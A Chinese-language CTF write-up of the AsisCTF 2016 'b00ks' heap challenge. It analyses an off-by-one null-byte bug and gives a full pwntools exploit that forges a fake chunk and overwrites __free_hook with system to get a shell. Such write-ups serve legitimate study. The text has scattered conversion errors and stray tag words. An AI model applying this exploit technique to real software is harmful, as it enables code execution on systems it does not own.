AsisCTF 2016 b00k

程序分析

首先checksec查看程序的保護機制,能夠看到除了canary其餘保護都開啓了。
linux

其次運行程序,先觀察一下程序大體流程,方便後面的代碼分析。
這裏咱們能夠看到,這是一個菜單題,總共有5個功能,分別是增長book、刪除book、修改book的description、輸出book的詳細信息以及修改做者名字。
shell

而後用ida64打開對應的二進制文件,經過前面的分析,把主函數調用的各個函數從新命名一下, 方便咱們記憶。數組

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  struct _IO_FILE *v3; // rdi
  __int64 savedregs; // [rsp+20h] [rbp+0h]

  setvbuf(stdout, 0LL, 2, 0LL);
  v3 = stdin;
  setvbuf(stdin, 0LL, 1, 0LL);
  sub_A77(v3, 0LL);
  change_name();
  while ( menu(v3) != 6 )
  {
    switch ( &savedregs )
    {
      case 1u:
        create();
        break;
      case 2u:
        delete();
        break;
      case 3u:
        edit();
        break;
      case 4u:
        show();
        break;
      case 5u:
        change_name();
        break;
      default:
        v3 = "Wrong option";
        puts("Wrong option");
        break;
    }
  }
  puts("Thanks to use our library software");
  return 0LL;
}

咱們一個一個函數分析,首先看create函數,這個函數用來建立一個book,每個book共包含了id變量、name指針、des指針、size變量。
這裏筆者只取了部分代碼:數據結構

if ( struct_ptr )
{
  *(struct_ptr + 6) = size;
  *(off_202010 + id) = struct_ptr;
  *(struct_ptr + 2) = des_ptr;
  *(struct_ptr + 1) = name_ptr;
  *struct_ptr = ++unk_202024;
  return 0LL;
}

注意:這裏的off_202010應該是一個結構體指針數組,off_202010+1就是數組第二個元素的地址,*(off_202010+1)就是數組第二個元素的值。
而後根據上面的代碼,能夠發現這個數組裏面存儲的都是結構體指針,而後每一個結構體指針指向一個結構體,結構體有對應的id、name_ptr、des_ptr、size。
函數

再來看delete函數,它用來刪除指定id的book實例,代碼以下:debug

signed __int64 delete()
{
  int v1; // [rsp+8h] [rbp-8h]
  int i; // [rsp+Ch] [rbp-4h]

  i = 0;
  printf("Enter the book id you want to delete: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 0 )
  {
    for ( i = 0; i <= 19 && (!*(off_202010 + i) || **(off_202010 + i) != v1); ++i )
      ;
    if ( i != 20 )
    {
      free(*(*(off_202010 + i) + 8LL));
      free(*(*(off_202010 + i) + 16LL));
      free(*(off_202010 + i));
      *(off_202010 + i) = 0LL;
      return 0LL;
    }
    printf("Can't find selected book!", &v1);
  }
  else
  {
    printf("Wrong id", &v1);
  }
  return 1LL;
}

根據上面的代碼,咱們發現delete功能會先遍歷數組元素,查看指定id的元素是否能夠刪除,能夠的話就依次free掉name_ptr、des_ptr和id,而後把數組對應位置清零。3d

再來看edit函數,這個函數用來修改指定book的description:指針

printf("Enter the book id you want to edit: ");
__isoc99_scanf("%d", &v1);
if ( v1 > 0 )
{
  for ( i = 0; i <= 19 && (!*(off_202010 + i) || **(off_202010 + i) != v1); ++i )
    ;
  if ( i == 20 )
  {
    printf("Can't find selected book!", &v1);
  }
  else
  {
    printf("Enter new book description: ", &v1);
    if ( !my_gets(*(*(off_202010 + i) + 16LL), *(*(off_202010 + i) + 24LL) - 1) )
      return 0LL;
    printf("Unable to read new description");
  }
}

咱們發現edit是經過一個做者本身定義的my_gets函數(這裏是筆者本身改的名字)來獲取用戶的輸入而且寫入指定的緩衝區,好比這裏就是寫入*(*(off_202010 + i) + 16LL),根據前面的分析也就是寫入第i本書的description部分,大小爲*(*(off_202010 + i) + 24LL) - 1,也就是description_size-1。
在分析下一個函數以前,咱們先來看一下這個自定義的my_gets函數:code

signed __int64 __fastcall my_gets(_BYTE *ptr, int size)
{
  int i; // [rsp+14h] [rbp-Ch]
  _BYTE *buf; // [rsp+18h] [rbp-8h]

  if ( size <= 0 )
    return 0LL;
  buf = ptr;
  for ( i = 0; ; ++i )
  {
    if ( read(0, buf, 1uLL) != 1 )
      return 1LL;
    if ( *buf == '\n' )
      break;
    ++buf;
    if ( i == size )
      break;
  }
  *buf = 0;
  return 0LL;
}

注意:仔細分析一下這裏的代碼,就會發現倒數第3行的*buf = 0;會形成空字節溢出,當用戶輸入字符數≥size時,跳出for循環,這時*buf指針因爲在循環中執行過++buf,那麼*buf=0就會在緩衝區溢出1字節的地方置零
再來看show函數,這個函數主要是把每一個book結構體的內容輸出出來:blog

if ( v0 )
{
  printf("ID: %d\n", **(off_202010 + i));
  printf("Name: %s\n", *(*(off_202010 + i) + 8LL));
  printf("Description: %s\n", *(*(off_202010 + i) + 16LL));
  LODWORD(v0) = printf("Author: %s\n", off_202018);
}

這裏能夠比較清晰地看到id、name、description以及author_name分別在什麼位置。
最後是change_name函數,這是調用了my_gets來修改author_name的函數,實現比較簡單:

signed __int64 change_name()
{
  printf("Enter author name: ");
  if ( !my_gets(off_202018, 32) )
    return 0LL;
  printf("fail to read author_name", 32LL);
  return 1LL;
}

到此爲止整個程序的流程就大體分析完畢了。

漏洞分析

首先,咱們驗證一下在my_gets函數中發現的可能存在的單空字節溢出的問題,稍微注意看每一個調用my_gets函數的地方就會發現,只有在調用change_name的時候,my_gets的第二個參數(也就是size)是沒有「-1」的,這也就是說change_name的時候咱們能夠把buf填滿,而後就會溢出一個0字節。
Talk is cheap,咱們先看把author_name填滿0x20字節,而且建立2個book時,內存的分佈狀況:

set_author_name('A'*0x20)
create(0x20,'AAAA',0x1000,'BBBB')
create(0x20,'CCCC',0x21000,'DDDD')

這裏可能會有疑問:不是說會溢出一個空字節嗎?這裏沒有看到的緣由是咱們先調用change_name,的確溢出了一個空字節;可是咱們又調用了create建立了book1,book1_ptr把\x00這個字節給覆蓋掉了而已。
不信的話,咱們在建立book以後再調用一次change_name,觀察內存狀況:

set_author_name('A'*0x20)
create(0x20,'AAAA',0x1000,'BBBB')
create(0x20,'CCCC',0x21000,'DDDD')
change('A'*0x20)

如此一來,就驗證了change_name這個函數是存在off-by-one漏洞的。

利用思路

  1. 先設置author_name爲0x20個字符,使得\x00溢出;而後再建立book1(name_size=0x20,des_size=0x1000),此時根據以前的debug能夠看出book1_ptr會覆蓋掉溢出的\x00,使得author_name與book1_ptr連在一塊兒,經過show便可得到book1_ptr的地址。
    2.咱們再建立一個book2(name_size=0x20,des_size=0x21000),其中重要的是des_size要填得足夠大,爲的是讓堆分配器使用mmap分配,而後debug使用vmmap查看libc.so的地址(除了heap的第一行的起始地址),用book2_des_ptr的地址減去查到的地址就是vmmap分配的地址與libc_base的偏移offset,這個值是一個定值,以後再次運行程序,雖然book2_des_ptr地址不一樣,可是用book2_des_ptr-offset便可獲得libc_base,進而獲得各個函數真實地址。
    3.經過debug觀察book2結構體中,存放book2_name_ptr和book2_des_ptr兩個指針的地址與泄露的book1_addr之間的關係,發現若是建立同樣的book2,存放兩指針的地址與泄露出來的book1_addr的偏移是固定的;例如這裏,獲得book2_name = book1_addr+0x68book2_des = book1_addr+0x70,這樣咱們就獲取到了存放book2_name_ptr和book2_des_ptr這兩個指針的地址。
    4.接着利用off-by-one漏洞,再次調用change_name函數,這樣一來book1_addr的低1字節會變成\x00,然而改變後的地址實際上指向了book1_des的範圍內,也就是說,若是咱們一開始在book1_des中僞造了一個fake_chunk,那麼在調用了change_name以後,原來的book1_ptr就會指向咱們的fake_chunk,因而咱們僞造fake_chunk爲新的book1。
    5.在fake_chunk中,設置id=一、fake_name_ptr=book2_des、fake_des_ptr=book2_name、size=0xffff,這樣一來,咱們調用edit修改book1的des實際上就是修改了book2_name_ptr這個指針,注意這裏調用edit修改book2的des修改的是book2_des_ptr這個指針指向的值。
    6.這裏咱們用edit將book1的des修改爲p64(binsh_addr)+p64(free_hook),根據上一步咱們明白這就是將book2_name_ptr改成binsh的地址、將book2_des_ptr改成__free_hook;而後再調用edit將book2的des修改爲p64(system),也就是將book2_des_ptr指向的值改成system的地址。這樣一來,當咱們調用delete(book2_id)時,根據以前delete的分析,會有free(book2_name),也就是free(binsh_addr),根據__free_hook的調用規則,會把free的參數做爲hook函數的參數,__free_hook指針指向的地址做爲函數地址,以前已經把__free_hook指向了system,因而就會調用system(binsh_addr),從而getshell。

利用腳本

# coding: utf-8
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='debug')
io = process('./b00ks')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')

def set_author_name(name):
   io.sendlineafter('Enter author name: ', name)

def create(name_size, book_name, des_size, book_des):
    io.sendlineafter('>','1')
    io.sendlineafter('name size: ', str(name_size))
    io.sendlineafter('name (Max 32 chars):', book_name)
    io.sendlineafter('description size: ', str(des_size))
    io.sendlineafter('description:', book_des)

def delete_book(book_id):
    io.sendlineafter('>','2')
    io.sendlineafter('Enter the book id you want to delete:',str(book_id))

def edit(book_id, book_des):
    io.sendlineafter('>','3')
    io.sendlineafter('Enter the book id you want to edit:', str(book_id))
    io.sendlineafter('Enter new book description:', book_des)

def show():
    io.sendlineafter('>','4')

def change(name):
    io.sendlineafter('>','5')
    io.sendlineafter('Enter author name:', name)

set_author_name('A'*0x20)
create(0x20,'AAAA',0x1000,'BBBB')
create(0x20,'CCCC',0x21000,'DDDD')
show()
io.recvuntil('Author: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
book1_addr = u64(io.recv(6).ljust(8,b'\x00'))
log.success('book1_address='+hex(book1_addr))
book2_name = book1_addr+0x68
book2_des = book1_addr+0x70
edit(1, b'B'*0xf20+p64(1)+p64(book2_des)+p64(book2_name)+p64(0xffff))
change('A'*0x20)
show()
io.recvuntil('Name: ')
book2_des_addr=u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
io.recvuntil('Description: ')
book2_name_addr=u64(io.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
log.success('book2_name_addr='+hex(book2_name_addr))
log.success('book2_des_addr='+hex(book2_des_addr))
# 查看vmmap查看heap下面一行的地址,用book2_des_addr減掉它獲得book2_des_addr與libc基址的固定偏移量,下次運行地址變了,用book2_des_addr減去偏移就是libc_base
offset=0x10
libc_base = book2_des_addr-offset
system_addr = libc_base + libc.symbols['system']
free_hook_addr = libc_base + libc.symbols['__free_hook']
binsh = libc_base + next(libc.search(b"/bin/sh"))
log.success('sys_addr = '+hex(system_addr))
log.success('free_hook_addr = '+hex(free_hook_addr))
log.success('bin_addr = '+hex(binsh))
log.success('offset='+hex(offset))
edit(1,p64(binsh)+p64(free_hook_addr))
edit(2,p64(system_addr))
delete_book(2)
#gdb.attach(io)
#pause()
io.interactive()

總結

這個題目作了挺久,收穫到了一些比較有用的知識點,好比gdb使用search查詢字符串地址、mmap分配的地址和vmmap查看的地址相減得到固定偏移等等。 感受須要對結構體指針數組這個數據結構更加敏感一些,這樣可以更快理清程序結構。 還有就是關於堆溢出的getshell的理解,以目前作的題來講,都是經過構造一個fake_chunk來控制某個指針,當可以任意修改指針以後,再修改指針的內容,好比這裏修改指針爲__free_hook,修改指針內容爲system_addr。

相關文章
相關標籤/搜索